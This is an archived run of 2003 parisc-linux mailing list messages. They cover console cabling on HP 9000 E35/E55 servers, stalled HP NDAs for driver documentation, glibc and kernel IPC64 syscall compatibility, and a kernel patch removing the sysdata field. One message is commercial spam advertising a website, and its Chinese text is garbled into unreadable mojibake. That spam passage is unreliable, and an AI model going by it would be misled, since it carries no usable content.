>>What card on the HP 9000/E35 are you trying to use with a console port?
>>(And, which connector (and: male/female, round or 9 pin or 25 pin or ?))
>>
>>(I know the questions may be obvious to you, but there are several 
>>possibilities ... knowing which you're trying to do may help me answer you.)
>>
>>
>>>Up to now, the server successfully boots on the original HP-UX. But we have
>>>no access to any console on MDP 9-pin DB9. The other connector called DDP is
>>>not equiped with the patch panel :/. 
>>
>>Yes, I've got an E35 here (running HP-UX).
>>
> 
> 
> I use the APMUX port (the only one on the E55 I/O board), with the cable ref
> A1703-63009. At one end with high-density connector for APMUX and at the other
> ends one DB9 called MDP and something like big centronics called DDP (for the
> patch panel i don't own). So i try the MDP port without result.
> 
> Thanks
> 
> A+
> jm. Harang
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 



-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at



From - Thu Nov 08 21:29:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 9000 E55 (and family) status
Date: Mon, 03 Nov 2003 18:01:47 +0100
Organization: private
Lines: 19
Approved: news@gmane.org
Message-ID: <3FA689FB.5080704@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622927 999 80.91.229.3 (22 Nov 2014 02:22:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:07 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov  3 10:01:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep13-int.chello.at (viefep13-int.chello.at [213.46.255.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 12736483E
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Nov 2003 10:01:49 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep13-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with ESMTP
          id <20031103170148.SQMX8939.viefep13-int.chello.at@gmx.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Mon, 3 Nov 2003 18:01:48 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19990

By the way, as we discuss on the E55,
what's the status ?

Are there any news on MUX or SCSI driver ?

Are there any news on the NDA, .... ?

Christoph Plattner





-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at



From - Thu Nov 08 21:29:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what's up with the ipc syscalls?
Date: Mon, 3 Nov 2003 16:41:19 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <20031103214119.GD778@systemhalted>
References: <20031101082451.GJ28967@tausq.org> <20031102180150.GA14554@solo.franken.de> <20031102181252.GY28967@tausq.org> <20031102214200.GA5299@solo.franken.de> <20031102225626.GF26916@systemhalted> <20031103085601.GA9083@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622927 1005 80.91.229.3 (22 Nov 2014 02:22:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:07 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov  3 14:46:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 467A0483E
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Nov 2003 14:46:06 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AGmRr-0000vm-00; Mon, 03 Nov 2003 16:41:19 -0500
Content-Disposition: inline
In-Reply-To: <20031103085601.GA9083@solo.franken.de>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (51% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19991

On Mon, Nov 03, 2003 at 09:56:01AM +0100, Thomas Bogendoerfer wrote:
> glibc 2.2.x, some weeks before woody went final. For a closer date
> check the date of my sys_parisc.c commit.

My apologies Thomas I think I begin to see your logic. Now if you follow
me I'll paint a picture.

a. We don't have an IPC multiplexor.
b. We added all such functions into syscalls.list so they would be
   generated as assembly wrappers.
c. Kernel would activate IPC64 for all the calls so it returned IPC64 to
   userspace.

> Since there might be still binaries in woody, which are compiled
> with an such an "old" glibc, we will break this binaries. The suggested
> change is an change of the kernel ABI, so I would avoid it. The problem
> with this "old" glibc was, that the structs for shmctl and friends
> weren't properly aligned for 64bit. I've changed that and also decided
> to get rid of IPC_64, because that's x86 crap.
> 
> Adding the 2.4 changes to the 2.6 kernel should fix everything.

Should an old binary exist with this old glibc, it would break should
the kernel stop activating IPC64.

I agree that the 2.4 changes forward ported will change everything, but
the glibc changes are *also* required so we can eventually turn off the
kernel code that activates IPC64 for all the incoming calls. When we
don't care about these old binaries and old glibc we will remove the
kernel code.

Now it's my turn to ask the question: Did that make any sense? :o)

c.



From - Thu Nov 08 21:29:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jean-marc Harang <jean-marc.harang@laposte.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 E55 (and family) status
Date: Tue, 4 Nov 2003 20:30:39 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <20031104203039.2a83a36d.jean-marc.harang@laposte.net>
References: <3FA689FB.5080704@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622927 1009 80.91.229.3 (22 Nov 2014 02:22:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  4 12:30:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from montperdu.pyrene.net (jmharang.net1.nerim.net [62.212.119.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id B58EE483E
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Nov 2003 12:30:43 -0700 (MST)
Original-Received: from montperdu.pyrene.net (localhost [127.0.0.1])
	by montperdu.pyrene.net (Postfix) with SMTP id D173C2C95E
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Nov 2003 20:30:39 +0100 (CET)
In-Reply-To: <3FA689FB.5080704@gmx.at>
X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19992

Le Mon, 03 Nov 2003 18:01:47 +0100
Christoph Plattner <christoph.plattner@gmx.at> a =E9crit:

> By the way, as we discuss on the E55,
> what's the status ?
>=20
> Are there any news on MUX or SCSI driver ?
>=20
> Are there any news on the NDA, .... ?
>=20
> Christoph Plattner

Hello,

Sorry, I'm a little late.=20

The status is that, as you said before, we need the MDP panel to get access
to the serial console (port 0 of the panel). I'm looking for this panel and=
 i
think i found one ;)=20

After the blind boot, we can't access to the HP-UX. No login is avaible,
because this E55 is a decommissioned one, a "gift" to the local Linux (and =
other
free software) User Group of my town (Toulouse, France).=20

So we need to make a fresh install of HP-UX. That's why we need the serial
console (cdrom boot).=20

thanks for the informations :)

Jean-marc Harang
--
http://www.culte.org


From - Thu Nov 08 21:29:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 E55 (and family) status
Date: Tue, 4 Nov 2003 17:47:46 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20031105004746.GA9926@colo.lackof.org>
References: <3FA689FB.5080704@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622928 1014 80.91.229.3 (22 Nov 2014 02:22:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:08 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  4 17:47:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 96813483E
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Nov 2003 17:47:48 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 4DAF029804C; Tue,  4 Nov 2003 17:47:47 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 09998-09; Tue, 4 Nov 2003 17:47:46 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9CCE6298039; Tue,  4 Nov 2003 17:47:46 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3FA689FB.5080704@gmx.at>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19993

On Mon, Nov 03, 2003 at 06:01:47PM +0100, Christoph Plattner wrote:
> By the way, as we discuss on the E55,
> what's the status ?
> Are there any news on MUX or SCSI driver ?
> Are there any news on the NDA, .... ?

In Feb/March 2003 I pulled together the documents for SCSI and prepared
the NDA for you. I didn't do anything for the Mux since I really don't
know anything about it.  It took fours monthes for my management (sorry,
I'm somewhat bitter about this) to tell me the process had changed and
I need to talk to run the NDA past an internal HP "review board".

I've not taken the steps to do that becuase I'm saturated
with too many projects. But if E55 still means something to you
(and it sounds like it does), I'll charge this windmill as
well. Pokeme again monthly and I'll let you know if/how far I've
gotten on that.

thanks for you "infinite" patience,
grant


From - Thu Nov 08 21:29:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] kill sysdata
Date: Wed, 5 Nov 2003 02:31:20 +0000
Lines: 97
Approved: news@gmane.org
Message-ID: <20031105023120.GP14749@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622928 1015 80.91.229.3 (22 Nov 2014 02:22:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:08 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  4 19:31:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B3A754875
	for <parisc-linux@parisc-linux.org>; Tue,  4 Nov 2003 19:31:20 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AHDS4-00054E-2y
	for parisc-linux@parisc-linux.org; Wed, 05 Nov 2003 02:31:20 +0000
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19994

We don't really need parisc_device->sysdata any more.  This patch
kill off all references to it.  Comments?

Index: drivers/parisc/dino.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/dino.c,v
retrieving revision 1.10
diff -u -p -r1.10 dino.c
--- drivers/parisc/dino.c	10 Oct 2003 16:11:03 -0000	1.10
+++ drivers/parisc/dino.c	5 Nov 2003 02:06:14 -0000
@@ -555,7 +555,7 @@ dino_fixup_bus(struct pci_bus *bus)
         struct dino_device *dino_dev = DINO_DEV(parisc_walk_tree(bus->dev));
 	int port_base = HBA_PORT_BASE(dino_dev->hba.hba_num);
 
-	DBG(KERN_WARNING "%s(0x%p) bus %d sysdata 0x%p\n",
+	DBG(KERN_WARNING "%s(0x%p) bus %d platform_data 0x%p\n",
 			__FUNCTION__, bus, bus->secondary, bus->dev->platform_data);
 
 	/* Firmware doesn't set up card-mode dino, so we have to */
Index: drivers/parisc/lba_pci.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/lba_pci.c,v
retrieving revision 1.5
diff -u -p -r1.5 lba_pci.c
--- drivers/parisc/lba_pci.c	8 Sep 2003 22:00:24 -0000	1.5
+++ drivers/parisc/lba_pci.c	5 Nov 2003 02:14:09 -0000
@@ -701,7 +701,7 @@ lba_fixup_bus(struct pci_bus *bus)
 	struct lba_device *ldev = LBA_DEV(parisc_walk_tree(bus->dev));
 	int lba_portbase = HBA_PORT_BASE(ldev->hba.hba_num);
 
-	DBG("lba_fixup_bus(0x%p) bus %d sysdata 0x%p\n",
+	DBG("lba_fixup_bus(0x%p) bus %d platform_data 0x%p\n",
 		bus, bus->secondary, bus->dev->platform_data);
 
 	/*
Index: drivers/parisc/sba_iommu.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/sba_iommu.c,v
retrieving revision 1.4
diff -u -p -r1.4 sba_iommu.c
--- drivers/parisc/sba_iommu.c	8 Sep 2003 22:00:24 -0000	1.4
+++ drivers/parisc/sba_iommu.c	5 Nov 2003 01:21:20 -0000
@@ -1989,7 +1989,7 @@ sba_driver_callback(struct parisc_device
 		return(1);
 	}
 
-	dev->sysdata = (void *) sba_dev;
+	dev->dev.driver_data = sba_dev;
 	memset(sba_dev, 0, sizeof(struct sba_device));
 
 	for(i=0; i<MAX_IOC; i++)
@@ -2042,7 +2042,7 @@ void __init sba_init(void)
  */
 void * sba_get_iommu(struct parisc_device *pci_hba)
 {
-	struct sba_device *sba = (struct sba_device *) pci_hba->parent->sysdata;
+	struct sba_device *sba = pci_hba->parent->dev.driver_data;
 	char t = pci_hba->parent->id.hw_type;
 	int iocnum = (pci_hba->hw_path >> 3);	/* rope # */
 
Index: include/asm-parisc/parisc-device.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/parisc-device.h,v
retrieving revision 1.1
diff -u -p -r1.1 parisc-device.h
--- include/asm-parisc/parisc-device.h	29 Jul 2003 17:02:04 -0000	1.1
+++ include/asm-parisc/parisc-device.h	5 Nov 2003 01:21:38 -0000
@@ -7,7 +7,6 @@ struct parisc_device {
 	struct parisc_device *sibling;
 	struct parisc_device *child;
 	struct parisc_driver *driver;	/* Driver for this device */
-	void		*sysdata;	/* Driver instance private data */
 	char		name[80];	/* The hardware description */
 	int		irq;
 
Index: include/asm-parisc/pci.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/pci.h,v
retrieving revision 1.2
diff -u -p -r1.2 pci.h
--- include/asm-parisc/pci.h	25 Sep 2003 01:07:21 -0000	1.2
+++ include/asm-parisc/pci.h	5 Nov 2003 02:14:55 -0000
@@ -42,7 +42,7 @@
 **
 ** This is the "common" or "base" data structure which HBA drivers
 ** (eg Dino or LBA) are required to place at the top of their own
-** dev->sysdata structure.  I've heard this called "C inheritance" too.
+** platform_data structure.  I've heard this called "C inheritance" too.
 **
 ** Data needed by pcibios layer belongs here.
 */

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 E55 (and family) status
Date: Wed, 5 Nov 2003 07:38:45 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <B4776C7E-0F5A-11D8-8A71-0030656F07A2@esiee.fr>
References: <20031105004746.GA9926@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622928 1020 80.91.229.3 (22 Nov 2014 02:22:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:08 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@gmx.at>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  4 23:38:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep11-int.chello.at (viefep11-int.chello.at [213.46.255.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 210804875
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Nov 2003 23:38:42 -0700 (MST)
Original-Received: from esiee.fr ([212.186.189.113]) by viefep11-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with ESMTP
          id <20031105063839.HLVO28481.viefep11-int.chello.at@esiee.fr>;
          Wed, 5 Nov 2003 07:38:39 +0100
In-Reply-To: <20031105004746.GA9926@colo.lackof.org>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19995

Le mercredi, 5 nov 2003, =E0 01:47 Europe/Paris, Grant Grundler a =E9crit =
:

> On Mon, Nov 03, 2003 at 06:01:47PM +0100, Christoph Plattner wrote:
>> By the way, as we discuss on the E55,
>> what's the status ?
>> Are there any news on MUX or SCSI driver ?
>> Are there any news on the NDA, .... ?
>
> In Feb/March 2003 I pulled together the documents for SCSI and =
prepared
> the NDA for you. I didn't do anything for the Mux since I really don't
> know anything about it.  It took fours monthes for my management=20
> (sorry,
> I'm somewhat bitter about this) to tell me the process had changed and
> I need to talk to run the NDA past an internal HP "review board".

I've asked for a NDA as well (regarding Spifi and other chips,=20
especially
sound), never got any answer. That was about 5 months ago...


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/=



From - Thu Nov 08 21:29:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?GB2312?B?1tC5+r6tw7O8r83F?= <130@133.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?us/X98nMx6I=?=
Date: Wed, 5 Nov 2003 21:18:29 +0800
Lines: 11
Approved: news@gmane.org
Message-ID: <20031105131412.41BC6483E@dsl2.external.hp.com>
Reply-To: 130@133.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622929 1024 80.91.229.3 (22 Nov 2014 02:22:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  5 06:14:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from 133.com (unknown [210.82.49.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 41BC6483E
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Nov 2003 06:14:12 -0700 (MST)
X-Priority: 3
X-Mailer: Microsoft Outlook Express 5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19996

йó棬Ȩҵ棬ǹ׼Եҵרҵóվ
ϸÿһҵ͵
ڼ룺300Ԫ/  ͬʱƼڵС
۽翪ʵǷ˵طվ----ĲԭڴĿɺ
www.18-00.com
йó йó йҵ ҵ й 
йũƷϢ йʳƷ йҵ йӪҵ 
й й  Ƴ ҵ ˫

Ϊҵ̻


From - Thu Nov 08 21:29:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 E55 (and family) status
Date: Wed, 5 Nov 2003 10:46:44 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20031105154643.GC17418@systemhalted>
References: <3FA689FB.5080704@gmx.at> <20031105004746.GA9926@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622929 1025 80.91.229.3 (22 Nov 2014 02:22:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:09 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  5 08:51:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 71D574881
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Nov 2003 08:51:29 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AHPro-0005c1-00; Wed, 05 Nov 2003 10:46:44 -0500
Content-Disposition: inline
In-Reply-To: <20031105004746.GA9926@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (65% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
